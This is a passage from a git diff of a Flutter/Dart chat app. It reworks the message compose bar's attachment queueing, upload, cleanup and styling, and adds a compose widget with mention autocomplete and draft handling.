+  final Future<void> Function(List<XFile> photos) onChooseAllPhotos;
 
   const _AttachmentSurfacePanel({
     super.key,
@@ -73,6 +74,7 @@ class _AttachmentSurfacePanel extends HookWidget {
     required this.onCapture,
     required this.onPickAllPhotos,
     required this.onChoosePhotos,
+    required this.onChooseAllPhotos,
   });
 
   @override
@@ -150,6 +152,7 @@ class _AttachmentSurfacePanel extends HookWidget {
           onBack: onBack,
           onPickAllPhotos: onPickAllPhotos,
           onChoosePhotos: onChoosePhotos,
+          onChooseAllPhotos: onChooseAllPhotos,
         ),
       ),
       _AttachmentSurface.closed ||
@@ -177,7 +180,7 @@ class _AttachmentSurfacePanel extends HookWidget {
         final height =
             menuLayout.height +
             ((expandedHeight - menuLayout.height) * sizeProgress);
-        final baseColor = context.colors.surfaceContainerHighest;
+        final baseColor = appPopoverColor(context);
         final expandedColor =
             visibleExpandedSurface == _AttachmentSurface.camera
             ? Colors.black
@@ -189,57 +192,51 @@ class _AttachmentSurfacePanel extends HookWidget {
           child: SizedBox(
             width: width,
             height: height,
-            child: DecoratedBox(
-              decoration: BoxDecoration(
-                color: Color.lerp(baseColor, expandedColor, sizeProgress),
-                borderRadius: BorderRadius.circular(Radii.dialog),
-                border: Border.all(
-                  color: Colors.black.withValues(alpha: 0.04),
-                  width: 1,
-                ),
-              ),
-              child: ClipRRect(
-                borderRadius: BorderRadius.circular(Radii.dialog),
-                child: Material(
-                  type: MaterialType.transparency,
-                  child: Stack(
-                    clipBehavior: Clip.hardEdge,
-                    children: [
-                      Positioned(
-                        left: 0,
-                        top: 0,
-                        width: _attachmentMenuWidth,
-                        height: menuLayout.height,
-                        child: IgnorePointer(
-                          ignoring: surface != _AttachmentSurface.menu,
-                          child: Opacity(
-                            opacity: menuOpacity,
-                            child: _AttachmentMenu(
-                              layout: menuLayout,
-                              onCamera: onCamera,
-                              onPhotos: onPhotos,
-                              onVideo: onVideo,
-                              onFiles: onFiles,
-                            ),
-                          ),
+            child: Material(
+              key: const ValueKey('attachment-surface-popover'),
+              type: MaterialType.card,
+              color: Color.lerp(baseColor, expandedColor, sizeProgress),
+              surfaceTintColor: Colors.transparent,
+              elevation: appPopoverElevation,
+              shadowColor: appPopoverShadowColor(context),
+              shape: appPopoverShape(context),
+              clipBehavior: Clip.antiAlias,
+              child: Stack(
+                clipBehavior: Clip.hardEdge,
+                children: [
+                  Positioned(
+                    left: 0,
+                    top: 0,
+                    width: _attachmentMenuWidth,
+                    height: menuLayout.height,
+                    child: IgnorePointer(
+                      ignoring: surface != _AttachmentSurface.menu,
+                      child: Opacity(
+                        opacity: menuOpacity,
+                        child: _AttachmentMenu(
+                          layout: menuLayout,
+                          onCamera: onCamera,
+                          onPhotos: onPhotos,
+                          onVideo: onVideo,
+                          onFiles: onFiles,
                         ),
                       ),
-                      Positioned(
-                        left: 0,
-                        top: 0,
-                        width: expandedWidth,
-                        height: expandedHeight,
-                        child: IgnorePointer(
-                          ignoring: !isExpanded,
-                          child: Opacity(
-                            opacity: expandedOpacity,
-                            child: expandedContent,
-                          ),
-                        ),
+                    ),
+                  ),
+                  Positioned(
+                    left: 0,
+                    top: 0,
+                    width: expandedWidth,
+                    height: expandedHeight,
+                    child: IgnorePointer(
+                      ignoring: !isExpanded,
+                      child: Opacity(
+                        opacity: expandedOpacity,
+                        child: expandedContent,
                       ),
-                    ],
+                    ),
                   ),
-                ),
+                ],
               ),
             ),
           ),
@@ -272,6 +269,101 @@ class _ComposeDraftPayload {
   }
 }
 
+enum _PendingAttachmentKind { image, video, file }
+
+@immutable
+class _PendingAttachment {
+  static var _nextId = 0;
+
+  final int id;
+  final XFile file;
+  final _PendingAttachmentKind kind;
+  final bool deleteAfterUse;
+
+  _PendingAttachment({
+    required this.file,
+    required this.kind,
+    this.deleteAfterUse = false,
+  }) : id = _nextId++;
+}
+
+Future<void> _deleteXFile(XFile file) async {
+  final path = file.path;
+  if (path.isEmpty) return;
+  try {
+    await File(path).delete();
+  } on FileSystemException {
+    // Temporary files may already have been removed by the operating system.
+  }
+}
+
+Future<void> _deleteOwnedAttachments(
+  Iterable<_PendingAttachment> attachments,
+) async {
+  for (final attachment in attachments) {
+    if (attachment.deleteAfterUse) await _deleteXFile(attachment.file);
+  }
+}
+
+void _useOwnedAttachmentCleanup(
+  ValueNotifier<List<_PendingAttachment>> attachments,
+) {
+  useEffect(
+    () =>
+        () => unawaited(_deleteOwnedAttachments(attachments.value)),
+    [attachments],
+  );
+}
+
+void _removePendingAttachment(
+  ValueNotifier<List<_PendingAttachment>> attachments,
+  ObjectRef<int> draftRevision,
+  int id,
+) {
+  draftRevision.value += 1;
+  final removed = attachments.value.where((attachment) => attachment.id == id);
+  attachments.value = _withoutAttachment(attachments.value, id);
+  unawaited(_deleteOwnedAttachments(removed));
+}
+
+Future<void> _retainAndQueueImages(
+  BuildContext context,
+  List<XFile> images,
+  void Function(List<XFile>, {bool deleteAfterUse}) queueImages,
+) async {
+  final retained = await retainTemporaryImages(images);
+  if (!context.mounted) {
+    for (final image in retained) {
+      await _deleteXFile(image);
+    }
+    return;
+  }
+  queueImages(retained, deleteAfterUse: true);
+}
+
+Future<BlobDescriptor> _uploadPendingAttachment(
+  MediaUploadService service,
+  _PendingAttachment attachment, {
+  ValueChanged<double>? onProgress,
+  UploadCancellationToken? cancellationToken,
+}) => switch (attachment.kind) {
+  _PendingAttachmentKind.image => service.uploadImage(
+    attachment.file,
+    onProgress: onProgress,
+    cancellationToken: cancellationToken,
+  ),
+  _PendingAttachmentKind.video => service.uploadVideo(
+    attachment.file,
+    onProgress: onProgress,
+    cancellationToken: cancellationToken,
+  ),
+  _PendingAttachmentKind.file => service.uploadFile(
+    attachment.file,
+    onProgress: onProgress,
+    cancellationToken: cancellationToken,
+  ),
+};
+
 class _AttachmentTrigger extends StatelessWidget {
   final _AttachmentSurface surface;
   final bool formattingOpen;
@@ -308,7 +400,7 @@ class _AttachmentTrigger extends StatelessWidget {
             _AttachmentSurface.camera ||
             _AttachmentSurface.photos => 'Back to attachment options',
           },
-          onPressed: () => onTap(context),
+          onPressed: () => _runComposerAction(() => onTap(context)),
           padding: EdgeInsets.zero,
           visualDensity: VisualDensity.compact,
           icon: AnimatedRotation(
@@ -417,7 +509,7 @@ class _AttachmentMenuItem extends StatelessWidget {
       child: Tooltip(
         message: label,
         child: InkWell(
-          onTap: onTap,
+          onTap: () => _runComposerAction(onTap),
           child: Padding(
             padding: const EdgeInsets.symmetric(horizontal: Grid.xxs),
             child: Row(
@@ -457,26 +549,21 @@ class _AttachmentMenuItem extends StatelessWidget {
   }
 }
 
-List<BlobDescriptor> _withoutAttachment(
-  List<BlobDescriptor> attachments,
-  String url,
+List<_PendingAttachment> _withoutAttachment(
+  List<_PendingAttachment> attachments,
+  int id,
 ) {
   return [
     for (final attachment in attachments)
-      if (attachment.url != url) attachment,
+      if (attachment.id != id) attachment,
   ];
 }
 
 class _AttachmentStrip extends StatelessWidget {
-  final List<BlobDescriptor> attachments;
-  final int uploadingCount;
-  final void Function(String url) onRemove;
-
-  const _AttachmentStrip({
-    required this.attachments,
-    required this.uploadingCount,
-    required this.onRemove,
-  });
+  final List<_PendingAttachment> attachments;
+  final ValueChanged<int> onRemove;
+
+  const _AttachmentStrip({required this.attachments, required this.onRemove});
 
   @override
   Widget build(BuildContext context) {
@@ -487,70 +574,12 @@ class _AttachmentStrip extends StatelessWidget {
       height: thumbHeight,
       child: ListView.separated(
         scrollDirection: Axis.horizontal,
-        itemCount: attachments.length + (uploadingCount > 0 ? 1 : 0),
+        itemCount: attachments.length,
         separatorBuilder: (_, _) => const SizedBox(width: Grid.half),
         itemBuilder: (context, index) {
-          if (index == attachments.length) {
-            final label = uploadingCount == 1
-                ? 'Uploading attachment…'
-                : 'Uploading $uploadingCount attachments…';
-            return Semantics(
-              excludeSemantics: true,
-              liveRegion: true,
-              label: label,
-              child: Container(
-                key: const ValueKey('compose-upload-progress'),
-                width: thumbWidth,
-                decoration: BoxDecoration(
-                  color: context.colors.surface,
-                  borderRadius: BorderRadius.circular(Radii.md),
-                  border: Border.all(color: context.colors.outlineVariant),
-                ),
-                child: Stack(
-                  alignment: Alignment.center,
-                  children: [
-                    BuzzLoadingIndicator(
-                      size: 34,
-                      color: context.colors.primary,
-                      semanticLabel: label,
-                    ),
-                    if (uploadingCount > 1)
-                      PositionedDirectional(
-                        top: Grid.quarter,
-                        end: Grid.quarter,
-                        child: Container(
-                          key: const ValueKey('compose-upload-count'),
-                          constraints: const BoxConstraints(
-                            minWidth: 22,
-                            minHeight: 22,
-                          ),
-                          alignment: Alignment.center,
-                          decoration: BoxDecoration(
-                            color: context.colors.primary,
-                            shape: BoxShape.circle,
-                          ),
-                          padding: const EdgeInsets.all(3),
-                          child: Text(
-                            '$uploadingCount',
-                            style: context.textTheme.labelSmall?.copyWith(
-                              color: context.colors.onPrimary,
-                              fontWeight: FontWeight.w700,
-                            ),
-                          ),
-                        ),
-                      ),
-                  ],
-                ),
-              ),
-            );
-          }
-
           final attachment = attachments[index];
-          final isVideo = attachment.type.startsWith('video/');
-          final isImage = attachment.type.startsWith('image/');
-          final previewUrl = attachment.thumb ?? attachment.url;
           return Container(
-            key: ValueKey('compose-attachment:${attachment.url}'),
+            key: ValueKey('compose-attachment:${attachment.id}'),
             width: thumbWidth,
             decoration: BoxDecoration(
               borderRadius: BorderRadius.circular(Radii.md),
@@ -561,7 +590,7 @@ class _AttachmentStrip extends StatelessWidget {
               children: [
                 ClipRRect(
                   borderRadius: BorderRadius.circular(Radii.md),
-                  child: isVideo
+                  child: attachment.kind == _PendingAttachmentKind.video
                       ? ColoredBox(
                           color: Colors.black,
                           child: Center(
@@ -572,9 +601,10 @@ class _AttachmentStrip extends StatelessWidget {
                             ),
                           ),
                         )
-                      : isImage
-                      ? MediaImage(
-                          url: previewUrl,
+                      : attachment.kind == _PendingAttachmentKind.image &&
+                            attachment.file.path.isNotEmpty
+                      ? Image.file(
+                          File(attachment.file.path),
                           fit: BoxFit.cover,
                           errorBuilder: (_, _, _) => ColoredBox(
                             color: context.colors.surface,
@@ -584,6 +614,8 @@ class _AttachmentStrip extends StatelessWidget {
                             ),
                           ),
                         )
+                      : attachment.kind == _PendingAttachmentKind.image
+                      ? _MemoryAttachmentImage(file: attachment.file)
                       : ColoredBox(
                           color: context.colors.surface,
                           child: Padding(
@@ -597,7 +629,9 @@ class _AttachmentStrip extends StatelessWidget {
                                 ),
                                 const SizedBox(height: Grid.quarter),
                                 Text(
-                                  attachment.filename ?? 'File',
+                                  attachment.file.name.isEmpty
+                                      ? 'File'
+                                      : attachment.file.name,
                                   maxLines: 2,
                                   textAlign: TextAlign.center,
                                   overflow: TextOverflow.ellipsis,
@@ -617,7 +651,8 @@ class _AttachmentStrip extends StatelessWidget {
                     width: 24,
                     height: 24,
                     child: IconButton(
-                      onPressed: () => onRemove(attachment.url),
+                      onPressed: () =>
+                          _runComposerAction(() => onRemove(attachment.id)),
                       tooltip: 'Remove attachment',
                       visualDensity: VisualDensity.compact,
                       style: IconButton.styleFrom(
@@ -645,3 +680,31 @@ class _AttachmentStrip extends StatelessWidget {
     );
   }
 }
+
+class _MemoryAttachmentImage extends HookConsumerWidget {
+  final XFile file;
+
+  const _MemoryAttachmentImage({required this.file});
+
+  @override
+  Widget build(BuildContext context, WidgetRef ref) {
+    final bytes = useFuture(useMemoized(() => file.readAsBytes(), [file]));
+    final data = bytes.data;
+
+    if (data == null || data.isEmpty) {
+      return ColoredBox(
+        color: context.colors.surface,
+        child: Icon(LucideIcons.image, color: context.colors.onSurfaceVariant),
+      );
+    }
+
+    return Image.memory(
+      data,
+      fit: BoxFit.cover,
+      errorBuilder: (_, _, _) => ColoredBox(
+        color: context.colors.surface,
+        child: Icon(LucideIcons.image, color: context.colors.onSurfaceVariant),
+      ),
+    );
+  }
+}
diff --git a/mobile/lib/features/channels/compose_bar/camera_preview.dart b/mobile/lib/features/channels/compose_bar/camera_preview.dart
index e51c2d16aa..1a06534d6e 100644
--- a/mobile/lib/features/channels/compose_bar/camera_preview.dart
+++ b/mobile/lib/features/channels/compose_bar/camera_preview.dart
@@ -252,7 +252,7 @@ class _CameraCaptureButton extends StatelessWidget {
       button: true,
       label: 'Take photo',
       child: GestureDetector(
-        onTap: isPressed ? null : onTap,
+        onTap: isPressed ? null : () => _runComposerAction(onTap),
         child: AnimatedScale(
           scale: isPressed ? 0.92 : 1,
           duration: duration,
@@ -290,7 +290,7 @@ class _CameraCloseButton extends StatelessWidget {
     return SizedBox.square(
       dimension: emphasized ? _cameraBackSize : 36,
       child: IconButton(
-        onPressed: onTap,
+        onPressed: () => _runComposerAction(onTap),
         tooltip: 'Back to attachment options',
         padding: EdgeInsets.zero,
         style: IconButton.styleFrom(
diff --git a/mobile/lib/features/channels/compose_bar/compose_bar_widget.dart b/mobile/lib/features/channels/compose_bar/compose_bar_widget.dart
new file mode 100644
index 0000000000..99af48d44b
--- /dev/null
+++ b/mobile/lib/features/channels/compose_bar/compose_bar_widget.dart
@@ -0,0 +1,957 @@
+part of '../compose_bar.dart';
+
+/// Rich compose bar with @mention autocomplete and a markdown formatting
+/// toolbar. Used in both channel and thread views — the caller provides an
+/// [onSend] callback that handles actual message submission.
+typedef ComposeBarOnSend =
+    Future<void> Function(
+      String content,
+      List<String> mentionPubkeys, {
+      List<List<String>> mediaTags,
+    });
+
+class ComposeBar extends HookConsumerWidget {
+  final String channelId;
+  final String channelName;
+  final String? hintText;
+  final ComposeBarOnSend onSend;
+
+  /// Optional thread IDs for thread-scoped typing indicators.
+  final String? threadHeadId;
+  final String? rootId;
+  const ComposeBar({
+    super.key,
+    required this.channelId,
+    this.channelName = '',
+    this.hintText,
+    this.threadHeadId,
+    this.rootId,
+    required this.onSend,
+  });
+  @override
+  Widget build(BuildContext context, WidgetRef ref) {
+    final controller = useMemoized(_MarkdownEditingController.new);
+    useListenable(controller);
+    useEffect(() => controller.dispose, [controller]);
+    // Restore and persist unsent text as a local draft so the Activity
+    // inbox Drafts filter reflects real composer state.
+    //
+    // The effect is additionally keyed on the active relay + pubkey identity:
+    // provider-level namespacing alone cannot protect a composer that stays
+    // mounted through an in-place community/account switch — the controller
+    // would retain the old identity's text and the next edit would persist it
+    // into the new identity's store. On identity change we replace the
+    // controller content with the new identity's own saved draft (or clear).
+    final draftKey = composeDraftKey(channelId, threadHeadId: threadHeadId);
+    final draftRevision = useRef(0);
+    final draftIdentity =
+        '${ref.watch(relayConfigProvider).baseUrl}'
+        ':${ref.watch(myPubkeyProvider) ?? 'anon'}';
+    final focusNode = useFocusNode();
+    useEffect(
+      () =>
+          () => _dismissComposerKeyboard(focusNode),
+      [focusNode],
+    );
+    final isComposerExpanded = useState(false);
+    final isEmojiPickerOpen = useState(false);
+    final attachmentSurface = useState(_AttachmentSurface.closed);
+    final iosAttachmentPopover = useMemoized(
+      _IOSAttachmentPopoverController.new,
+    );
+    useEffect(
+      () =>
+          () => unawaited(iosAttachmentPopover.dispose()),
+      [iosAttachmentPopover],
+    );
+    final isSending = useState(false);
+    final showFormatting = useState(false);
+    final attachments = useState<List<_PendingAttachment>>([]);
+    _useOwnedAttachmentCleanup(attachments);
+    final uploadError = useState<String?>(null);
+    final uploadingCount = useState(0);
+    final uploadProgress = useState(0.0);
+    final uploadGeneration = useRef(0);
+    final activeUploadCancellation = useRef<UploadCancellationToken?>(null);
+    _useComposeDraftLifecycle(
+      ref: ref,
+      controller: controller,
+      draftKey: draftKey,
+      channelId: channelId,
+      threadHeadId: threadHeadId,
+      draftIdentity: draftIdentity,
+      draftRevision: draftRevision,
+      attachments: attachments,
+      uploadGeneration: uploadGeneration,
+      activeUploadCancellation: activeUploadCancellation,
+      uploadingCount: uploadingCount,
+      isSending: isSending,
+      attachmentSurface: attachmentSurface,
+      uploadError: uploadError,
+      iosAttachmentPopover: iosAttachmentPopover,
+    );
+    final clipboardHasImage = useState(false);
+    final hasAttachments = attachments.value.isNotEmpty;
+    final customEmoji = ref.watch(customEmojiListProvider);
+    final reducedMotion = MediaQuery.disableAnimationsOf(context);
+    final composerExpansionController = useAnimationController(
+      initialValue: 0,
+      upperBound: 1.05,
+    );
+    final composerExpansionValue = useAnimation(composerExpansionController);
+    final composerExpansionProgress = composerExpansionValue
+        .clamp(0.0, 1.0)
+        .toDouble();
+
+    void collapseComposer() {
+      if (!isComposerExpanded.value) return;
+      showFormatting.value = false;
+      isComposerExpanded.value = false;
+    }
+
+    useEffect(() {
+      void collapseWhenUnfocused() {
+        if (!focusNode.hasFocus && !isEmojiPickerOpen.value) {
+          collapseComposer();
+        }
+      }
+
+      focusNode.addListener(collapseWhenUnfocused);
+      return () => focusNode.removeListener(collapseWhenUnfocused);
+    }, [focusNode]);
+
+    final appView = View.of(context);
+    useEffect(() {
+      final observer = _ComposerKeyboardMetricsObserver(
+        view: appView,
+        onKeyboardHidden: () {
+          collapseComposer();
+          focusNode.unfocus();
+        },
+      );
+      WidgetsBinding.instance.addObserver(observer);
+      return () => WidgetsBinding.instance.removeObserver(observer);
+    }, [appView, focusNode]);
+    final resolvedHint =
+        hintText ??
+        (channelName.isNotEmpty ? 'Message #$channelName' : 'Message\u2026');
+    useEffect(() {
+      final target = isComposerExpanded.value ? 1.0 : 0.0;
+      if (reducedMotion) {
+        composerExpansionController.value = target;
+      } else if ((composerExpansionController.value - target).abs() > 0.001) {
+        composerExpansionController.animateWith(
+          SpringSimulation(
+            SpringDescription.withDurationAndBounce(
+              duration: const Duration(milliseconds: 220),
+              bounce: 0.08,
+            ),
+            composerExpansionController.value,
+            target,
+            0,
+            snapToEnd: true,
+          ),
+        );
+      }
+      return null;
+    }, [isComposerExpanded.value, reducedMotion]);
+    useEffect(() {
+      if (defaultTargetPlatform != TargetPlatform.iOS) return null;
+
+      var disposed = false;
+      Future<void> refreshClipboardAvailability() async {
+        final hasImage = await ref
+            .read(mediaUploadServiceProvider)
+            .clipboardHasImage();
+        if (!disposed && context.mounted) {
+          clipboardHasImage.value = hasImage;
+        }
+      }
+
+      void refreshWhenFocused() {
+        if (focusNode.hasFocus) refreshClipboardAvailability();
+      }
+
+      final lifecycleListener = AppLifecycleListener(
+        onResume: refreshClipboardAvailability,
+      );
+      focusNode.addListener(refreshWhenFocused);
+      refreshClipboardAvailability();
+      return () {
+        disposed = true;
+        focusNode.removeListener(refreshWhenFocused);
+        lifecycleListener.dispose();
+      };
+    }, [focusNode]);
+
+    // Mention state --------------------------------------------------------
+    final mentionQuery = useState<String?>(null);
+    final mentionStartIdx = useState(-1);
+    // Map of displayName → selected mention candidate built as the user selects
+    // mentions. Used to pass resolved pubkeys directly to onSend and to attach
+    // selected non-member agents before the message is published.
+    final mentionMap = useRef(<String, MentionCandidate>{});
+
+    // Channel autocomplete state ----------------------------------------------
+    final channelQuery = useState<String?>(null);
+    final channelStartIdx = useState(-1);
+    final channelsAsync = ref.watch(channelsProvider);
+
+    final membersAsync = ref.watch(channelMembersProvider(channelId));
+    final currentPubkey = ref.watch(currentPubkeyProvider);
+    final userCache = ref.watch(userCacheProvider);
+    final isDmChannel =
+        channelsAsync.asData?.value.any((c) => c.id == channelId && c.isDm) ??
+        false;
+
+    // Preload profiles for channel members, mentionable agents, and their
+    // owners so @mention suggestions show names ("managed by …" included).
+    final relayAgents = ref.watch(agentDirectoryProvider).asData?.value;
+    final agentOwners = ref.watch(agentOwnersProvider).asData?.value;
+    final agentMentionLabels = _agentMentionLabels(
+      candidates: mentionMap.value.values,
+    );
+    final agentMentionLabelsKey = (agentMentionLabels.toList()..sort()).join(
+      '\u0000',
+    );
+    useEffect(() {
+      controller.setAgentMentionNames(agentMentionLabels);
+      return null;
+    }, [controller, agentMentionLabelsKey]);
+    useEffect(
+      () {
+        final memberList = membersAsync.asData?.value ?? <ChannelMember>[];
+        final pubkeys = [
+          ...memberList.map((m) => m.pubkey),
+          ...?relayAgents?.map((a) => a.pubkey),
+          ...?agentOwners?.values,
+        ];
+        if (pubkeys.isNotEmpty) {
+          ref.read(userCacheProvider.notifier).preload(pubkeys);
+        }
+        return null;
+      },
+      [
+        membersAsync.asData?.value.length,
+        relayAgents?.length,
+        agentOwners?.length,
+      ],
+    );
+
+    // Typing indicator broadcast — throttled to one event per 3 seconds.
+    final lastTypingSentMs = useRef(0);
+    final isModifyingText = useRef(false);
+
+    // Detect @mention query and broadcast typing on text / selection change.
+    useEffect(() {
+      void listener() {
+        if (isModifyingText.value) return;
+        final text = controller.text;
+        final sel = controller.selection;
+
+        // Broadcast typing indicator (throttled).
+        if (text.isNotEmpty) {
+          final now = DateTime.now().millisecondsSinceEpoch;
+          if (now - lastTypingSentMs.value > _typingThrottleMs) {
+            lastTypingSentMs.value = now;
+            _sendTypingIndicator(
+              ref,
+              channelId: channelId,
+              threadHeadId: threadHeadId,
+              rootId: rootId,
+            );
+          }
+        }
+
+        if (!sel.isValid || !sel.isCollapsed) {
+          mentionQuery.value = null;
+          channelQuery.value = null;
+          return;
+        }
+        final cursor = sel.baseOffset;
+        if (cursor < 1) {
+          mentionQuery.value = null;
+          channelQuery.value = null;
+          return;
+        }
+
+        // Walk backward from cursor looking for trigger characters.
+        // stopAtSpace: false — @mentions support multi-word display names.
+        final atPos = findTrigger(text, cursor, '@', stopAtSpace: false);
+
+        if (atPos != null) {
+          mentionQuery.value = text.substring(atPos + 1, cursor).toLowerCase();
+          mentionStartIdx.value = atPos;
+          channelQuery.value = null;
+        } else {
+          mentionQuery.value = null;
+        }
+
+        // Channel autocomplete detection — only when no @mention is active.
+        if (mentionQuery.value == null) {
+          final hashPos = findTrigger(text, cursor, '#');
+          if (hashPos != null) {
+            channelQuery.value = text
+                .substring(hashPos + 1, cursor)
+                .toLowerCase();
+            channelStartIdx.value = hashPos;
+          } else {
+            channelQuery.value = null;
+          }
+        } else {
+          channelQuery.value = null;
+        }
+      }
+
+      controller.addListener(listener);
+      return () => controller.removeListener(listener);
+    }, [controller]);
+
+    // Ranked mention candidates (desktop-parity ordering + eligibility).
+    final suggestions = mentionQuery.value == null
+        ? const <MentionCandidate>[]
+        : ref
+              .watch(
+                mentionCandidatesProvider((
+                  channelId: channelId,
+                  query: mentionQuery.value!,
+                )),
+              )
+              .take(_mentionSuggestionLimit)
+              .toList();
+
+    // Resolve owner names for the visible "managed by …" subtitles.
+    useEffect(() {
+      final ownerPubkeys = [for (final s in suggestions) ?s.ownerPubkey];
+      if (ownerPubkeys.isNotEmpty) {
+        ref.read(userCacheProvider.notifier).preload(ownerPubkeys);
+      }
+      return null;
+    }, [suggestions.length, mentionQuery.value]);
+
+    // Filter channels against the query.
+    final channels = channelsAsync.asData?.value ?? <Channel>[];
+    final channelSuggestions = filterChannels(channels, channelQuery.value);
+
+    // Insert a selected mention into the text field.
+    void insertMention(MentionCandidate candidate) {
+      final name = candidate.label;
+      // Track the resolved candidate so we can pass its pubkey and prepare
+      // selected non-member agents at send time.
+      mentionMap.value[name] = candidate;
+
+      final start = mentionStartIdx.value.clamp(0, controller.text.length);
+      spliceAndMoveCursor(
+        controller,
+        focusNode,
+        start: start,
+        replacement: '@$name ',
+      );
+      mentionQuery.value = null;
+    }
+
+    // Insert a selected channel into the text field.
+    void insertChannel(Channel channel) {
+      final start = channelStartIdx.value.clamp(0, controller.text.length);
+      spliceAndMoveCursor(
+        controller,
+        focusNode,
+        start: start,
+        replacement: '#${channel.name} ',
+      );
+      channelQuery.value = null;
+    }
+
+    // Insert `@` at the cursor to manually trigger mention mode.
+    void triggerMention() => _insertTriggerAtCursor(controller, focusNode, '@');
+
+    // Insert `#` at the cursor to manually trigger channel mode.
+    void triggerChannel() => _insertTriggerAtCursor(controller, focusNode, '#');
+
+    // Insert a selected emoji at the cursor without replacing the draft.
+    void insertEmoji(String emoji) {
+      final text = controller.text;
+      final selection = controller.selection;
+      final cursor = selection.isValid
+          ? selection.baseOffset.clamp(0, text.length)
+          : text.length;
+      controller.value = TextEditingValue(
+        text: text.replaceRange(cursor, cursor, emoji),
+        selection: TextSelection.collapsed(offset: cursor + emoji.length),
+      );
+      focusNode.requestFocus();
+    }
+
+    void clearComposer() {
+      draftRevision.value += 1;
+      controller.clear();
+      attachments.value = [];
+      mentionMap.value.clear();
+      mentionQuery.value = null;
+      channelQuery.value = null;
+      attachmentSurface.value = _AttachmentSurface.closed;
+      showFormatting.value = false;
+      uploadError.value = null;
+      focusNode.requestFocus();
+    }
+
+    void removeAttachment(int id) {
+      _removePendingAttachment(attachments, draftRevision, id);
+    }
+
+    // Send the message.
+    Future<void> send() async {
+      final text = controller.text.trim();
+      if ((text.isEmpty && !hasAttachments) ||
+          isSending.value ||
+          uploadingCount.value > 0) {
+        return;
+      }
+      // Resolved before any await: see
+      // `_reportSendCancelledByCommunitySwitch`.
+      final messenger = ScaffoldMessenger.maybeOf(context);
+
+      // Extract pubkeys for mentions present in the final text.
+      final selectedMentions = <MentionCandidate>[
+        for (final entry in mentionMap.value.entries)
+          if (hasMention(text, entry.key)) entry.value,
+      ];
+      final outgoing = _OutgoingMentions(selectedMentions);
+      final scan = await _scanNonMemberMentions(
+        ref,
+        channelId: channelId,
+        selectedMentions: selectedMentions,
+        currentPubkey: currentPubkey,
+      );
+
+      // Mentioning humans outside the channel prompts "Invite" / "Do
+      // nothing" (send without inviting) — mirrors desktop's
+      // NonMemberMentionDialog. Agents keep the existing silent auto-add.
+      if (scan.humans.isNotEmpty) {
+        if (!context.mounted) return;
+        final choice = await _promptNonMemberMention(
+          context,
+          names: [for (final candidate in scan.humans) candidate.label],
+          canInvite: scan.canAddMembers,
+        );
+        if (choice == null) return; // Dismissed — keep the draft, send nothing.
+        outgoing.resolveHumanChoice(choice, scan.humans);
+      }
+
+      final queuedAttachments = List<_PendingAttachment>.of(attachments.value);
+      final channelActions = ref.read(channelActionsProvider);
+
+      // An add that was refused doesn't block the message: it is reported and
+      // the un-added mentions are demoted to reference tags so the send lands.
+      Future<void> addMentionedNonMembers() => outgoing.addNonMembers(
+        channelActions,
+        scan: scan,
+        messenger: messenger,
+      );
+
+      isSending.value = true;
+      try {
+        if (queuedAttachments.isEmpty) {
+          try {
+            await addMentionedNonMembers();
+            final payload = _ComposeDraftPayload.fromDraft(
+              text: text,
+              attachments: const [],
+              customEmoji: customEmoji,
+            );
+            await onSend(
+              payload.content,
+              outgoing.pubkeys,
+              mediaTags: [...payload.mediaTags, ...outgoing.referenceTags],
+            );
+            if (context.mounted) clearComposer();
+          } on StateError {
+            _reportSendCancelledByCommunitySwitch(messenger);
+          } catch (error) {
+            // send() runs unawaited, so a relay rejection or publish timeout
+            // would otherwise vanish with the composer looking idle. The draft
+            // is kept (clearComposer never ran) so the user can retry.
+            messenger?.showSnackBar(
+              SnackBar(content: Text(_composeSendErrorMessage(error))),
+            );
+          }
+          return;
+        }
+
+        final draftText = controller.value;
+        final draftAttachments = List<_PendingAttachment>.of(attachments.value);
+        final draftMentions = Map<String, MentionCandidate>.of(
+          mentionMap.value,
+        );
+        clearComposer();
+        final clearedDraftRevision = draftRevision.value;
+        uploadingCount.value += 1;
+        uploadProgress.value = 0;
+        isSending.value = false;
+        final queueGeneration = uploadGeneration.value;
+        final cancellation = UploadCancellationToken();
+        final uploadService = ref.read(mediaUploadServiceProvider);
+        activeUploadCancellation.value = cancellation;
+        final delivery = onSend;
+        unawaited(() async {
+          var retainedForRetry = false;
+          try {
+            final uploaded = <BlobDescriptor>[];
+            for (var index = 0; index < queuedAttachments.length; index++) {
+              final attachment = queuedAttachments[index];
+              final descriptor = await _uploadPendingAttachment(
+                uploadService,
+                attachment,
+                onProgress: (progress) {
+                  if (context.mounted) {
+                    uploadProgress.value =
+                        (index + progress) / queuedAttachments.length;
+                  }
+                },
+                cancellationToken: cancellation,
+              );
+              if (queueGeneration != uploadGeneration.value) return;
+              uploaded.add(descriptor);
+              if (context.mounted) {
+                uploadProgress.value = (index + 1) / queuedAttachments.length;
+              }
+            }
+            final payload = _ComposeDraftPayload.fromDraft(
+              text: text,
+              attachments: uploaded,
+              customEmoji: customEmoji,
+            );
+            if (queueGeneration != uploadGeneration.value) return;
+            await addMentionedNonMembers();
+            if (queueGeneration != uploadGeneration.value) return;
+            await delivery(
+              payload.content,
+              outgoing.pubkeys,
+              mediaTags: [...payload.mediaTags, ...outgoing.referenceTags],
+            );
+          } catch (error) {
+            if (cancellation.isCancelled) return;
+            if (context.mounted) uploadError.value = _formatUploadError(error);
+            if (context.mounted &&
+                queueGeneration == uploadGeneration.value &&
+                draftRevision.value == clearedDraftRevision) {
+              controller.value = draftText;
+              attachments.value = draftAttachments;
+              retainedForRetry = true;
+              mentionMap.value
+                ..clear()
+                ..addAll(draftMentions);
+              focusNode.requestFocus();
+            }
+          } finally {
+            if (!retainedForRetry) {
+              await _deleteOwnedAttachments(queuedAttachments);
+            }
+            if (activeUploadCancellation.value == cancellation) {
+              activeUploadCancellation.value = null;
+            }
+            if (context.mounted && queueGeneration == uploadGeneration.value) {
+              uploadingCount.value = math.max(0, uploadingCount.value - 1);
+            }
+          }
+        }());
+      } finally {
+        if (context.mounted && isSending.value) isSending.value = false;
+      }
+    }
+
+    void queueAttachment(
+      XFile file,
+      _PendingAttachmentKind kind, {
+      bool deleteAfterUse = false,
+    }) {
+      draftRevision.value += 1;
+      uploadError.value = null;
+      attachments.value = [
+        ...attachments.value,
+        _PendingAttachment(
+          file: file,
+          kind: kind,
+          deleteAfterUse: deleteAfterUse,
+        ),
+      ];
+    }
+
+    Future<void> pickThenQueue({
+      required Future<XFile?> Function() pick,
+      required _PendingAttachmentKind kind,
+    }) async {
+      uploadError.value = null;
+      try {
+        final picked = await pick();
+        if (picked == null || !context.mounted) return;
+        queueAttachment(picked, kind);
+      } catch (error) {
